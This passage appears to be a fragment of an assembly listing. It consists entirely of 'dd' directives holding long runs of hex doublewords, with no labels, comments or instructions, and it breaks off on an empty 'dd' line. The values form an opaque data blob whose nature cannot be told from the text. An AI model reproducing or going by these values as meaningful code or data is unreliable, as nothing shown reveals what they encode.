3F4DF9C1h, 1349EE17h dd 73487F51h, 3BB8DBF7h, 10CC2109h, 2FEA76A2h, 5601F946h dd 0E8557ABEh, 0CB3A4E44h, 0C60E2419h, 0F281641Fh, 59FC362Dh dd 69C816Ah, 0FEB87EE6h, 0B864E4B7h, 17545E5Dh, 4E84389Dh dd 681D70BEh, 3EE175E7h, 0E9E22CBFh, 1E85A930h, 1CCF8197h dd 5D0A0D65h, 2AE7C04Fh, 0E9286104h, 5513665Bh, 7E0AE7BFh dd 9F74172Ah, 255152BFh, 80D1555Bh, 53ED2D07h, 0C4AE0825h dd 0E90704BCh, 5BCC92C0h, 0F703C1E0h, 2EC8D14Ch, 0A06921BBh dd 37232F0Dh, 4F41900Fh, 0B39EA824h, 5036C675h, 1322A55Eh dd 7443A2Dh, 0A4B82022h, 346C06Ah, 5E1A7A25h, 958D629h dd 26735D08h, 0DDF09B12h, 48C498C0h, 0A50E6D53h, 0A017F5B3h dd 5B1FDD78h, 0B781CDFEh, 8EFC067h, 0C729F42Eh, 0F69D30E2h dd 0ED404F8Fh, 0E9EA88E4h, 0EC69C52Ah, 0BAA42BF5h, 2FF39959h dd 56C0B8D1h, 1F3CBB53h, 257A926Bh, 0C6E092F6h, 4EE56ADDh dd 0D75A8267h, 0E3303BC8h, 0DC285816h, 0E0731FA0h, 0E0E92DE1h dd 4D57968Bh, 67E98496h, 0EA43D4DDh, 921CA601h, 6670829Fh dd 72532599h, 0D40C2DE1h, 4A9754A5h, 1C080D05h, 0DD5A1402h dd 10E847C8h, 0FCC83127h, 0A9DFC78Fh, 0B347B782h, 4A66D65Dh dd 0CF071C26h, 71E418F2h, 0F141FB69h, 0CE853F41h, 0BEAE92ECh dd 423881D6h, 3A090B7Ah, 70F5A800h, 383504A1h, 0F12CB83h dd 5953AF89h, 0E953C1BAh, 70172FA0h, 40DB3988h, 0A809BF7Ch dd 0D62CAD5Eh, 117A0C4Ah, 360BEA83h, 0D725487Dh, 82C354A0h dd 184ADA14h, 84196FDh, 0C1B8E2Eh, 3B5A7DE9h, 0F1816F9h dd 984AA30h, 31240819h, 0F8B38A9Eh, 82CEF64Fh, 579942E9h dd 0D749AFFEh, 50028C02h, 0F2D5E3A9h, 8F12BFB8h, 8E0263C4h dd 811B6743h, 0DE297DC1h, 0E5F7B505h, 0DB1D07A5h, 0B32D8ED6h dd 0EA1FD850h, 27B4B71Eh, 721AE916h, 8B33790h, 9B2E4D6Ah dd 0EF2E005Eh, 30A4E404h, 587189A0h, 8508DA25h, 80CEBE7h dd 1BCE0E5Fh, 9A24C836h, 82082E41h, 4837A20Ch, 61FB614Ah dd 0EE56843Fh, 12208CCDh, 9955134Ch, 17D6BC20h, 4E375969h dd 0C12C2EB2h, 0BA815D58h, 9D28C425h, 51A02E23h, 0F0724BA2h dd 0A4B277CAh, 3734D980h, 33B094Ch, 624EBC9h, 4DF1B03Fh dd 79C62F53h, 5982E854h, 5F41441Ah, 0AC22D18Ch, 0D8F08419h dd 0A52D5E72h, 5D3E2C20h, 76E21745h, 0DF1C7E5h, 0AF3C127Eh dd 923FACE1h, 59C256EFh, 8EDDB729h, 334E2B42h, 0C6229538h dd 2719FC47h, 602F0A54h, 0B4800EE6h, 306481FBh, 0FC2517BDh dd 420F2B1Eh, 801D0D40h, 143523C2h, 95AF785Bh, 3A31DDE1h dd 4173C3BDh, 0FE914452h, 0F858FEB0h, 7739C1Ch, 8464FABEh dd 0EAE3802Ah, 0C4B0C838h, 0E546C12Fh, 0DA133E07h, 0D31AFCC6h dd 0D1D2F58Ah, 0EB970h, 275B5853h, 0D476C389h, 0A9EB58h dd 167A67Bh, 0E90B31C3h, 4B73FB38h, 8F0BCEAFh, 0C5B1D7E9h dd 46201521h, 3B1D28CCh, 0B4EF04D2h, 0F943CB12h, 600841B5h dd 3FF73EACh, 0F68060F2h, 3CF10FC6h, 8974E913h, 0C5524AA2h dd 0A366ED13h, 7BE5E72h, 0F3505D7Ah, 8F674109h, 6871E772h dd 0C8DB6027h, 5CD21F94h, 0B84F8F23h, 0BB2A60F4h, 4843687Fh dd 8503A321h, 53DEBC97h, 0DF1270BEh, 84AB1D59h, 0F80710D8h dd 0C051F925h, 6256681Fh, 0CAE135BAh, 1C1518E7h, 998F3E5h dd 216FEF7Ch, 23FFD88Bh, 847DBB3Dh, 0D685E920h, 40F75CB7h dd 151D5250h, 93BCD195h, 4ECEA83Fh, 0B908BAFh, 44DC4BE9h dd 0C5F33D68h, 8BFCDE24h, 0FE5E689h, 17A9CC27h, 0B7565FFEh dd 0B5F65B10h, 68E5C59Ch, 0E9EE449Dh, 5A62B84Ah, 0EB2B3CAEh dd 371A9B8h, 2A3D8082h, 5CF7250Ch, 5B761E89h, 445EC93Bh dd 6FADF199h, 5E895AF2h, 632C7F7h, 47E526E9h, 8D30E877h dd 17EF6F19h, 0CDD244Dh, 0AD3D0250h, 6608EF7h, 4E002DE1h dd 2410250Ah, 0A05353Ah, 2825720h, 2DFF00B2h, 0FD187437h dd 0F3CF09Fh, 490CBA52h, 0CA811FC0h, 0C37B7708h, 1450490h dd 6E45F12Bh, 0FE611BD7h, 0A664AAF8h, 0C8CE29E9h, 6722A5F9h dd 68018C7Bh, 33231B08h, 8AC18806h, 4CECFC44h, 0A5BC53BDh dd 14095513h, 0F6629268h, 3B5FC22Dh, 325390A3h, 2A050B15h dd 2EBF4095h, 0E1A5AE9Dh, 129236C4h, 0BD5A57ECh, 6841B859h dd 322E32D7h, 7ECA1887h, 4A9BF957h, 567E806Ah, 83476DCFh dd 0A201EF28h, 0EC2A8201h, 7AF5E963h, 143FA62Fh, 8272CA01h dd 0A92B0768h, 0B7020529h, 74BE0890h, 597C3F6Dh, 356FF72Eh dd 6B84BB47h, 2032844h, 3F468DBBh, 15E15CE9h, 2C168423h dd 53AC5ABFh, 1CF3F784h, 0C312D313h, 0E82BA9A1h, 84B3E4DFh dd 83E5EC4Ah, 0C1B9F580h, 4C6839FDh, 453C1CFh, 176E5FD1h dd 81F600BAh, 0BB0F9FCFh, 27846058h, 78438998h, 0BFE0BDF9h dd 4B01D578h, 5C37CD81h, 85436F3Eh, 0D82863E2h, 49C95202h dd 33CC2F6Bh, 185F1F9Bh, 5E3A4B34h, 0E0A67553h, 8A312B00h dd 5E5DE92Dh, 686D20CCh, 349719E0h, 0C1BB079h, 4C7B0A58h dd 52186C48h, 0CF0C2B13h, 8BF3E42h, 33A5E105h, 6F104A6h dd 86E9057Ch, 6BBF9790h, 81A0F62h, 258BFB09h, 0F2074C5Ah dd 32EF6188h, 0F57966B2h, 82DEC0A7h, 138054D4h, 39074656h dd 0E79DFAB5h, 2525B074h, 4F004369h, 155683E5h, 0E055D4B7h dd 0D16921CFh, 75E90C17h, 0A61BEA5h, 402A6C31h, 5B13F52Fh dd 0F73049EFh, 7A7010DDh, 5ADA9D2Ch, 5D1C62BFh, 77493FD9h dd 68138D14h, 4EEC6629h, 0AB1BA9C5h, 5E24FDCBh, 26822DD0h dd 92F6FD30h, 8146F058h, 35F27A29h, 5F3CA8D3h, 8D62EAE9h dd 0D95E79E9h, 0A4EA5E13h, 2B775983h, 4BDAE495h, 66E62802h dd 56FCBD5Ah, 6696AD12h, 2F6B886Ah, 0B04C4073h, 6C849673h dd 1FFA5743h, 23FD2154h, 16A84419h, 0B87EC450h, 0DDD4A4D9h dd 494A94EDh, 1225796Eh dd 0ECC2FB5Eh, 56EDC19h, 0B862EB68h, 1B90CD73h, 0C513AB2Fh dd 0F13191FAh, 2F8E3553h, 0E33D15E1h, 0F675EC5Eh, 78D725E4h dd 0FF006D66h, 0C118236Bh, 48F707E0h, 96714DD0h, 777080E6h dd 0D92903DBh, 8F504095h, 17F4164Dh, 13E5EC09h, 0FF0CABC9h dd 24809E0Ah, 8C4828Ah, 2500B46Ah, 304009B0h, 2B780A35h dd 32B13F27h, 0BF018522h, 1CCD458Ch, 0B9270B2Eh, 0FB5FFCA9h dd 5A9D0B6Dh, 0EC899351h, 0FF15A56h, 9471B71h, 12757264h dd 2CA9901h, 0F47F0695h, 0D2406BD8h, 0B9F60F80h, 5060F708h dd 0C4FEABB4h, 5D65F4F6h, 0B94F2A42h, 0DF5009EBh, 56E0BCDBh dd 2D63B768h, 646855EFh, 1109CE81h, 0F442EA16h, 0D9F68982h dd 0FE0ACB85h, 52DDE2F6h, 30E4473Bh, 5CBEC2F8h, 51DB7580h dd 0E29F298Ah, 0C64AD716h, 0DE520B0Bh, 76721B20h, 13EE4F5Bh dd 2EE4CD78h, 688223BCh, 95CC13FCh, 256EBB2Fh, 0C2C0C6ECh dd 5892091Bh, 3D240E1Fh, 0A9CD963Bh, 7BEE8647h, 0BBA051Ah dd 0C070731Dh, 176FA93Ch, 74744Ch, 6DDE295Ch, 0BD4D10E9h dd 20578A91h, 3E04272Dh, 0D7891EA0h, 1D1CEF00h, 0E09D7084h dd 67ABE956h, 11BBA810h, 3B7A5173h, 5C255DBDh, 75B63E00h dd 0FD5EC680h, 99E191F0h, 3DE601C7h, 54512202h, 8FFE80D1h dd 32499706h, 5D4C27C3h, 50F6C9EEh, 0D6C1F3CEh, 2AF10700h dd 0B80C6001h, 47820BCDh, 0BC74BAB3h, 39FCF62Dh, 0E082E8CEh dd 0BFC6FCE9h, 0A8D2D0D4h, 622DC10Ch, 57034A26h, 0FE72DB56h dd 0E0C6E0DEh, 374AAC06h, 88310FAh, 77D45B2Fh, 9E31ECC4h dd 49257F2Ah, 6F32F1EAh, 0EC9B998h, 125060Eh, 8BCFF2D2h dd 76F762BEh, 0F56861F0h, 3565361Dh, 84A85B7Bh, 35CABE4Eh dd 8196102Eh, 5337DBBFh, 4B026B32h, 7D40C823h, 4D76083h dd 0F831F1F8h, 56E55F4Ah, 0EF094B7Bh, 5991A47Fh, 5FC8FBAh dd 9C95E955h, 2D8BBBA8h, 589CABF7h, 87582093h, 680714A0h dd 0EB6C4731h, 0D12A654Fh, 6F764CD3h, 9ADCCAD1h, 0DFEA417Eh dd 2AC34BFBh, 0BC96AE91h, 3019896Bh, 40C9F0F0h, 9F4BD877h dd 43987F8h, 54CD25DFh, 46FE27DDh, 2D9F6408h, 980AB752h dd 0ED556A57h, 0E767B000h, 5B29E979h, 0BEA3A43Fh, 7045C10Bh dd 0DBFEE038h, 0FD330139h, 41E9F389h, 5DCC6B6Bh, 3377489Dh dd 81CED2DCh, 0BBCA784Eh, 4EC31353h, 1C1C6ECh, 0F56A8165h dd 7D828F5h, 0EA80E2D0h, 0B25251D0h, 0DDB109E0h, 15619CE9h dd 4026B48h, 0B2F162Dh, 5F55B00h, 6A61187Ch, 0BBF4A30Ch dd 63EAD0FBh, 32AAA069h, 15779727h, 98F727FEh, 22330102h dd 7813AA2h, 51E8DEE9h, 0F897742Ch, 0F851E8DCh, 0B2455484h dd 5D5078DDh, 281D6D53h, 13046EE6h, 5FCAFC97h, 563F76CAh dd 0E3173892h, 6C450B00h, 0C331826Dh, 0CB8A0F97h, 9631148Ch dd 5F2F2A7Ch, 3326B0AFh, 0EAE75CABh, 7B1CCAF1h, 214A518Fh dd 1207A86Dh, 0C8DB5D0Ch, 0C114D4EBh, 4210DE9h, 4B380804h dd 0C300EB17h, 0C00901E2h, 0B0CC103h, 7A060465h, 68C23040h dd 1618CF7Fh, 220592E9h, 0BB54C732h, 1962BD01h, 50E0271Dh dd 7F4D0468h, 0EB584322h, 12E0EBF0h, 0EF0ED4C4h, 0F787D490h dd 1DCF7D81h, 0BC6C4A64h, 82EFF21Dh, 5FFE89ECh, 2A465F49h dd 0DEF66A07h, 0C7B87C75h, 55346809h, 5B8CEFF1h, 0B5299946h dd 0CA26515Bh, 0B221E500h, 5901E930h, 0BC5FF436h, 0D7022582h dd 0DF200048h, 729F5179h, 0C1F14C88h, 294DE906h, 0BB4AF2EBh dd 3C05D2AEh, 0A56F67DFh, 8B9D65E5h, 0ED0C5B2Fh, 8EC7B06Ah dd 2C1F4218h, 2CC65238h, 225000C1h, 0AFE42FBAh, 81C3E660h dd 2EDAA5EAh, 9CCFA675h, 0F20FD2E9h, 0FA8284B1h, 125FBB01h dd 0DFF03A53h, 3510BABh, 0CA722101h, 0F196E974h, 0D851DE2Fh dd 9CA894A1h, 561E8EF7h, 25FE2F65h, 0A5C4D969h, 56BF9C6Ch dd 67DF8B17h, 0A843D97Ch, 0F2AE856Dh, 5F578B5Ah, 5F587766h dd 0FAE9B0A2h, 24FBB5F7h, 0D59DB269h, 25E0631Ah, 4A3ABB66h dd 0F401274Fh, 0D5298FACh, 1AED8186h, 8F975A7Eh, 5168E3EDh dd 174FF63Bh, 34A631E9h, 29C0BF6Ah, 5A2B69CAh, 59DB810h dd 78FA0BA1h, 812400EEh, 2A0984F6h, 0ECE91013h, 0DEBEF640h dd 0B577856Ch, 1202B109h, 3C0A7983h, 8EE1A517h, 9666B76Bh dd 48540601h, 7D700E1Fh, 505F122Bh, 0A0DB0962h, 5848F5F2h dd 0F24C7A1Dh, 5BD885F2h, 14961BF9h, 88B6636Bh, 35B9B440h dd 3C41FF9h, 0F3ECE690h, 20DF21EAh, 1202FEC0h, 44A3B058h dd 0DE422361h, 5B697710h, 8A026AE8h, 315B291Bh, 322521C0h dd 0DD49EBB4h, 36545080h, 0D6C15280h, 0AC74306h, 0F9B6A543h dd 0F03F61EDh, 0F164B919h, 91EAD3D3h, 63E16047h, 496813FAh dd 0F51DE591h, 0CDBF1A80h, 4F396D4Ch, 0EB207795h, 2D79A927h dd 0E9FD211Dh, 68130167h, 0D82A16E7h, 30018E05h, 0E94713F5h dd 297941DAh, 0C335BFD0h, 1611399h, 0B74D255Dh, 0D648F97Dh dd 9860A3D4h, 4A7AEA6Ah, 5CD0AA5Bh, 2E226CB1h, 892E894Dh dd 6E5DF74Eh, 85282D8Eh, 52309746h, 0D9B95A19h, 3AFD244Eh dd 0CB3001Dh, 0CA21C75Fh, 0D7EF594Eh, 0AC32E126h, 0C3B47F19h dd 437812D5h, 8B4AED7Ch, 0C5552BC3h, 0F5016003h, 4E56FDE9h dd 0CBC84B56h, 2F0B45BAh, 0E9C2A7E2h, 2EF1BED8h, 966E569h dd 0E5A393E9h, 0AB97BB5h, 0A7283ADDh, 0CE3C4A05h, 8F85EBBh dd 7A04B858h, 0EA373356h, 8072494h, 272835Eh, 5C1AE3E9h dd 0BEA43334h, 9DB110A8h, 7F2D021Fh, 14F4B078h, 4F6204B5h dd 2F8B0880h, 0F24C4EB4h, 0BA660F84h, 8A097EB5h, 0C1881B73h dd 973354E5h, 9AB854D2h, 0BD57A300h, 382EACD8h, 0E9136798h dd 93AC8DE4h, 30789789h, 25A25B97h, 542F7EF8h, 0DAED5E59h dd 0BCFD38A2h, 8B9D9855h, 11FBBFB4h, 9F1599BDh, 3E095516h dd 702CA688h, 0E8C87AE7h, 0EC804F59h, 0E9EA7303h, 4318C8EBh dd 1FEBC8B5h, 3E256F4Ch, 0BB03B668h, 0E92E7C10h, 0FC60DF31h dd 5F38387Ah, 5B91E3DAh, 49E9C502h, 0A246DD16h, 0B07D0BFh dd 7639460Fh, 0ABAA3484h, 0A0BB6E49h, 27A2D0Dh, 56A033Bh dd 178F0CC7h, 0B1F4FBACh, 282B60B4h, 0B5515366h, 0DAE4DC7Ah dd 2D72C79Fh, 86662C87h, 1B097C39h, 89319D37h, 68522379h dd 292FF8DCh, 0A47ABF5Eh, 7E484601h, 49F8E964h, 0A3E782Dh dd 0AE0F2312h, 0F2D12E0h, 5A39847Bh, 1CE95321h, 0D3DC6425h dd 27FD7A05h, 0DDE33268h, 19E0B900h, 0D1F76C17h, 83E1C12Dh dd 0EF1F3B7Ah, 1DC9C03Eh, 141603h, 58E3BB53h, 0D93172BFh dd 0B2E9DDC4h, 945942B0h, 0CD5273Eh, 39B79518h, 1D60CD15h dd 7E8B6237h, 0B90E92Dh, 9E06F59Ah, 85F32F55h, 0E64BE903h dd 11C3A134h, 34B2A52Eh, 328DE9C2h, 0D4513ADFh, 9CC0081Ah dd 5695B520h, 41822714h, 0C77180DFh, 0DD58133Ch, 442F5129h dd 0FF3E1F9h, 130FCE68h, 5E0ACEFFh, 8D89CCFDh, 0E2215126h dd 8F00FD97h, 459A64F4h, 4602F595h, 386063FAh, 1204CC8Eh dd 5FFD099Eh, 65223F82h, 996F895Dh, 0AEDEFA4h, 0A2A79A03h dd 1209B1Eh, 577DA668h, 0CB8CD355h, 19F35100h, 68182364h dd 23704B4Bh, 20CF5061h, 580C3727h, 688FE93Eh, 9A09A534h dd 0EF357ADh, 0F1EC7DA7h, 0F11CD595h, 6FA12D00h, 72E92343h dd 0F294BF33h, 1E5FED20h, 911C380h, 53544533h, 0C440AB89h dd 201DB05Eh, 0C0B57121h, 1FA9EAB9h, 4A5AD788h, 0ACBB5EAAh dd 6C012572h, 0E5A1C8EAh dd 857F3DB1h, 46D5427Fh, 0D14A8CB8h, 102784A2h, 2D9FC5C2h dd 4D09509Bh, 0B097ABA5h, 0ED6E2097h, 381BC441h, 0C5D488FFh dd 2416DCB5h, 0F7425D0h, 0F6F9DD72h, 0FD6A278Bh, 0AF8BAC45h dd 4B5EB42h, 3CB9E744h, 0F79A8085h, 4D242F9Bh, 490F2270h dd 55598B6Dh, 92DFAF87h, 0E9218BF2h, 0E748B9C9h, 0E3676047h dd 0E44E8EF6h, 46682C09h, 968C659h, 6C0F7034h, 8689F459h dd 0C94DDFACh, 66E06807h, 0B351DD09h, 0C5A7AACAh, 73E984E3h dd 0D08CA908h, 6FD009C2h, 0EA478394h, 27C1B0EDh, 1CCA6829h dd 0BD550108h, 70E076F1h, 9109E565h, 94150h, 81A9DCAh dd 2DEEC37Ah, 0C2DC4C27h, 0D9610BABh, 0F3E6F148h, 82720DE9h dd 54371A24h, 178CF858h, 0AE5DEA29h, 5FF95C44h, 42EB3481h dd 2CD80107h, 1A836B48h, 8C144F20h, 284AF687h, 8402DA3Ch dd 1D3AE912h, 847EF829h, 0BFF7ABFFh, 610A680Eh, 95F2AA12h dd 0C18EAED2h, 162C4418h, 48BFD6F7h, 1EBAE4B5h, 0E4018DE1h dd 4AB61363h, 2B64228h, 6BDB1177h, 4BA44F5h, 5BE9DA87h dd 9EA6B89Ch, 12B3FB0Bh, 2CD451D1h, 79A309FCh, 0E8C2EC76h dd 7F79DD7Eh, 6132EB07h, 5CD145C2h, 0BB0607C9h, 0D829C1D7h dd 6806845Bh, 0B8A33EC5h, 8260179h, 48E93A0Ch, 9A8EA530h dd 395841AEh, 0F8E15D02h, 0F4EE0414h, 9C4A6826h, 610C3A16h dd 0B8E5939Ah, 0ACC50BBBh, 0A58B64A0h, 2D32E1C0h, 8B4C201Ah dd 74A0820Eh, 22A64465h, 0C11CA538h, 9B92F6FAh, 5610DFE8h dd 16FA4AD1h, 0EC8F08BDh, 1449BE1Eh, 0F689F7D5h, 0A63ECF7h dd 902AEBA0h, 143100C2h, 0F2016999h, 9DE95712h, 0E6BAE2C5h dd 0A8B1103Bh, 0B991E5Eh, 76D45C82h, 1368848Eh, 861AE2BFh dd 732629ECh, 723EE9BFh, 61C8DC36h, 0F8935859h, 0C734024Bh dd 8ECCDF1Ah, 325D9225h, 0ED6380E9h, 23FB72h, 0A26B951h dd 0D9F70EA0h, 0C1CE809Dh, 4F6482F2h, 1050B8CDh, 542F310Dh dd 0EC25E15Bh, 4CDD4515h, 0E917FD3Ch, 10B23912h, 5382B538h dd 64B2ACB7h, 1C018C2h, 13973B70h, 0D893C1AAh, 66826D37h dd 41D7F1F7h, 7A0D6FABh, 19AE6806h, 96FD9D3Eh, 1F9F6957h dd 80BAC52h, 7C5966EFh, 5A49C62h, 0FC04E9F8h, 0CBBE5D8Fh dd 0FECF0968h, 425B60CEh, 4AB01635h, 0F406EA28h, 0A2639A2Dh dd 77676CDEh, 9107EB92h, 1A4452F3h, 0DE20E76Ch, 94B4F4C3h dd 0EF14920Ch, 0AE40629Ah, 6875828Fh, 99B0D605h, 0BC0A907h dd 6814ED1Fh, 105EC74Ch, 0A0D24F46h, 6A58E47Bh, 0DE5C1252h dd 0F6D089E8h, 0D05B5D05h, 81F8F447h, 38932DDh, 0E055FC7h dd 2108B12Bh, 64B548D9h, 2870E4Dh, 5E849011h, 0A325050h dd 9CE4768h, 0C507A0B1h, 0AC5EA17Eh, 0F6FED2B0h, 82CCDB1Bh dd 5A88FC6Bh, 0F2421FCh, 0E0A0CF12h, 622403B8h, 0C2297C28h dd 7F2307E1h, 4217741h, 0BB053CFEh, 0F45D4C92h, 6F8959C5h dd 0E870AE31h, 32E63001h, 338110B0h, 6E2C00Bh, 1367D804h dd 4E797DEDh, 0E5AFF4A2h, 0C9691590h, 59F37F8Bh, 0DFB7FC9h dd 7CC05112h, 121A6856h, 0C8746303h, 5202F959h, 0B5E917B7h dd 82145D31h, 2708D597h, 39180986h, 4B6EE7F6h, 0AD69C710h dd 0C5016B56h, 55143B4Ch, 2BFFF12Bh, 16D650E3h, 0A0D1AE8Bh dd 447E4555h, 0A4CABE0Dh, 884C2738h, 0B6520E24h, 2F50BF7h dd 1F31F1h, 7A7826BFh, 0EF814301h, 2E410F6Bh, 0C101E03Fh dd 9B3E750h, 3D89EC4Eh, 0AE05EA22h, 4D5545h, 3A0B8E88h dd 0CA7AE9FFh, 0FBBCEB9Dh, 0B2B9D7C7h, 45B06134h, 7A26A67Eh dd 0D553E324h, 4469DA82h, 86635777h, 0F6E81467h, 6109F709h dd 0DA341383h, 9EEBD04h, 0AE874ABDh, 28DC79BBh, 0F438415Eh dd 4F9BCFEDh, 5689973Ch, 2D9370AFh, 8E27534Dh, 20E8DE1Fh dd 8441BD07h, 0D94FA826h, 9966760Fh, 0EFD9AA0Fh, 8ABE6513h dd 5AB54C73h, 8C8467BCh, 94CABC9Eh, 59412DC6h, 0D6391642h dd 0BD04A27Dh, 0BA2696Bh, 99D3A482h, 8B6A52BDh, 119A058Ch dd 930170B3h, 7ABF71F5h, 0F41ACA40h, 0A0B15BE6h, 5FE6E94Fh dd 0CAB0E791h, 4F2F1697h, 2B0AF172h, 0A0614612h, 0F32AD0AFh dd 0C3A32CE9h, 4305C8Bh, 0C9D7B232h, 0CAFEC441h, 0B28555CAh dd 0B9CE9087h, 0F45016ADh, 31415681h, 0D5FE5A44h, 644A13A2h dd 7045AF78h, 61FAA76Fh, 3B53376Eh, 5C8B878Bh, 0E916F8D0h dd 74AE1932h, 0B6A78248h, 0CB950105h, 0D3AA88AFh, 0EDA38360h dd 984AFD18h, 26EF7DC1h, 658D14B4h, 4882BA29h, 0A86BD9EEh dd 0D9D130BBh, 3CB2E343h, 2255B3Bh, 0E56B2FCBh, 0BBEE611Bh dd 0E13F0C96h, 0DEEC2A4Eh, 0F0F1BFA2h, 3422C88Fh, 56EB02EFh dd 5F2D2560h, 0FC613E04h, 0CAFB4EE6h, 68550AE4h, 4DA9F825h dd 70F6124Fh, 38816809h, 957434DFh, 96C965Dh, 71CB1EDBh dd 12F5970Ah, 68858CE1h, 7E1EC259h, 0F156D925h, 0BC918885h dd 8E091124h, 64AC1222h, 3014921h, 9CF0AF27h, 9DD96E97h dd 0D43CFC61h, 5A6D2D44h, 0D601D0Bh, 0D9508157h, 0C11E6AD5h dd 5F7CE479h, 413472C0h, 0E4186076h, 6005BD0Bh, 7375E913h dd 5C14415Dh, 0C913DE87h, 0AB4E57ECh, 6B48C03Bh, 0A41F3D17h dd 5712A729h, 4CFCF14Fh, 12AC680Ah, 0B0339290h, 0F9F75253h dd 63303B09h, 4F8E5512h, 2EACB64h, 5AE74CD1h, 0F47D4A57h dd 0FD400972h, 104B56Eh, 3E7268C3h, 0F60E52E3h, 0C1C05A42h dd 0C28103E2h, 631CCC0Ah, 0D802B12Bh, 0C128A84Ch, 0C37058E8h dd 0B659508h, 2040AA87h, 5CC8FD2Bh, 0D00BD6F6h, 7EA568E6h dd 0AEB5628Eh, 96B87A7Fh, 0BB3E1520h, 4E62D850h, 0C55BF8DEh dd 0BCED49F2h, 3009C102h, 0B25E088Eh, 0C03C7425h, 43FF386Eh dd 6B1E2390h, 622D560Ch, 0B71760FAh, 2C89A58Ch, 42934232h dd 229BF00h, 0C1574F16h, 646B8A75h, 393CF1A0h, 0FE0392C0h dd 4F2748F8h, 6861DFF9h, 0B0582126h, 43560048h, 4ACA8122h dd 4C769432h, 71A5F206h, 80C7962h, 26916CD4h, 8060D700h dd 490FE922h, 59810363h, 7F7C0262h, 4E4D98F0h, 4849BCD6h dd 4A7DC5D5h, 0F46449A2h, 865FE23h, 0EA1771E3h, 0C414F827h dd 89AB6226h, 32E3E30Eh, 0D1292009h, 3179575Ah, 922959AFh dd 0A655E4A0h, 988B7262h, 0B4966659h, 1E01C31Ah, 0EBC10A0Fh dd 8840607h, 8B779DE9h, 0C278053Ah, 28E0A88Dh, 8DA0B514h dd 309D36DCh, 7A43DCA1h, 48F2BDA2h, 72A2A7AAh, 3F4A91FDh dd 280403CAh, 0D32CC889h, 447FA4B2h, 560A2741h, 0FDF831A9h dd 3701B998h, 0E99B70D1h, 5A7C5C57h, 0EF6853E0h, 1E1D5272h dd 24D84B5Bh, 5E1DE92Dh, 0CCFAA840h, 62D4E0FFh, 12F12160h dd 3A126272h, 34AF7405h, 0BC39BB28h, 48FF092Bh, 5871857h dd 197705A4h, 130EE975h, 0B6B6AF9Fh, 17C1B689h, 0C08F2858h dd 857D2E05h, 83E92762h, 3BD7D50Bh, 0B1FC046Dh, 0C954E9B7h dd 7D7BD87Fh, 2DF10B26h, 2223D503h, 0EB5BD93Eh, 27C34596h dd 25566F6Eh, 922DEE7Ah, 1B8BB67Ah, 0B2A9BA06h, 6831E91Eh dd 0DA591643h, 3325FF52h, 0FEAA514Ah, 0C45BA25Bh, 0C0BF5550h dd 34442FCBh, 41FA5F4Fh, 41B98088h, 0F8BF45C8h, 0C247B168h dd 0ED005E02h, 508A1426h, 0C42E956Dh, 0FAE72824h, 0E982C4E2h dd 0C8466792h, 8451EC9Fh, 0E6F69DB9h, 20F546CBh, 86257873h dd 8E9C5BD3h, 855ED588h, 0ABD4F659h, 25A8B335h, 0C3803461h dd 3B93E9E0h, 6C491287h, 0EB800367h, 13B050CDh, 0F25E29E7h dd 61DBC44Dh, 62687440h dd 3203221Ch, 4A299CB5h, 1D5B7747h, 0DD8D1189h, 62DD4A9Ah dd 4C4DDFDh, 5772FB25h, 474AB50Fh, 52040714h, 5329D625h dd 0E92555F8h, 96B2709Eh, 0D2355065h, 17C74B17h, 341AE0E0h dd 0EE0C7B20h, 79E97A44h, 36401BE1h, 2D10CBE6h, 4C5436F8h dd 0E231E400h, 5AC18908h, 0F42CFE58h, 5EF71321h, 4BAE1847h dd 6172FDB8h, 551840FAh, 310FFABDh, 0B60DB8E8h, 1E2D03FAh dd 3A123065h, 0F2AB3B69h, 5E23846Bh, 0CF0EAF13h, 0DB4CF0E7h dd 0D2F7060Fh, 0B57C5A49h, 0D04D5B15h, 6A431D3h, 0D65728ECh dd 0B2DB1459h, 0BE0BFEDAh, 511562ABh, 0F410BA06h, 0BE96F44Fh dd 0C8050195h, 2A3CC06Ah, 46687A81h, 42E93F85h, 7975FA1Dh dd 54E882h, 1E4B95BDh, 0D5F74E05h, 2FEEDD1h, 39BEBB89h dd 0FCFEE2C1h, 68141F32h, 84493FFFh, 113732Dh, 0E26149BDh dd 0D54A2A3Ch, 0B3818DDBh, 66DE0828h, 4F0F1BA8h, 5CB0950h dd 0F7F9A975h, 0B8FBD102h, 4CF52DDh, 31CBBA52h, 32DC8188h dd 0A2B73F37h, 0A13FEC4Bh, 0B42A5FE9h, 3445C5DBh, 0AB5A1A92h dd 0F52B6629h, 2BB7F56Fh, 12FEA138h, 0F045E9C9h, 0E19150F3h dd 6709E813h, 90C7FA3Ah, 2C9107B0h, 0E0C8091Dh, 4767D90Dh dd 2054D1Fh, 0E984739Ch, 8B8A8D9Bh, 0FE1C6815h, 6C27E90Ch dd 0F300B869h, 548655Fh, 25CDA8F4h, 9D54212Fh, 3BDCF700h dd 4FE9456Ah, 0E00BD214h, 81B7D9F7h, 3C30AE68h, 3F247515h dd 0E9ECCFA8h, 9F50BA29h, 9401C4A4h, 5F47AC3Dh, 5899F32Ah dd 12CC2732h, 0FB59F7E9h, 0F59133Fh, 0EE8D31FAh, 87356FE8h dd 0A505EB8h, 0FCA15E46h, 0DC67A397h, 0B6CCACAEh, 0BABB07E9h dd 407AB979h, 85478645h, 74636813h, 0BCCA8Ch, 4E3CA878h dd 0CE81E6D1h, 26530109h, 0B5320065h, 94F2B1Bh, 4E5AD609h dd 6705445Eh, 74C0BC2Eh, 44A65A8h, 0E9F20122h, 0BF40B036h dd 0D11F2609h, 0B175C57h, 1457D090h, 46A9205Fh, 3768AD13h dd 9DF9018Dh, 841AF46Ah, 0AEA3155Eh, 6E13EA80h, 7ED61574h dd 0D41C8A6h, 70932680h, 0DA010EC9h, 2F097098h, 534CB5Ah dd 0F6C29CE6h, 64CE026h, 8EE3C4Dh, 853EA17h, 5F1314C7h dd 0FEBD1FAh, 17802CB6h, 4BD1F5Ah, 36E21A1h, 9A5A1B66h dd 0E1BB0B67h, 885A5ED6h, 12355500h, 4371710h, 0F575CE25h dd 50D4FC77h, 0F0BE881Fh, 0AEE5D62h, 0BE531369h, 0E02A5F8Dh dd 0CE4D5C4Eh, 1A6E0284h, 7E520A88h, 95402512h, 81826432h dd 36218468h, 0CEF9B20h, 23E022CAh, 1A7FDF0Ch, 10AE1D5Bh dd 0C6808EDh, 8DDC2F14h, 8EB2C3Eh, 77AC5B13h, 0E339EB4Ah dd 3A28BE2Bh, 926F9EAAh, 0AE3516F0h, 0EAFB253h, 0E2B68B17h dd 4AB716C5h, 3801839Ch, 4B4A81D0h, 7B71581Bh, 4A1C383Bh dd 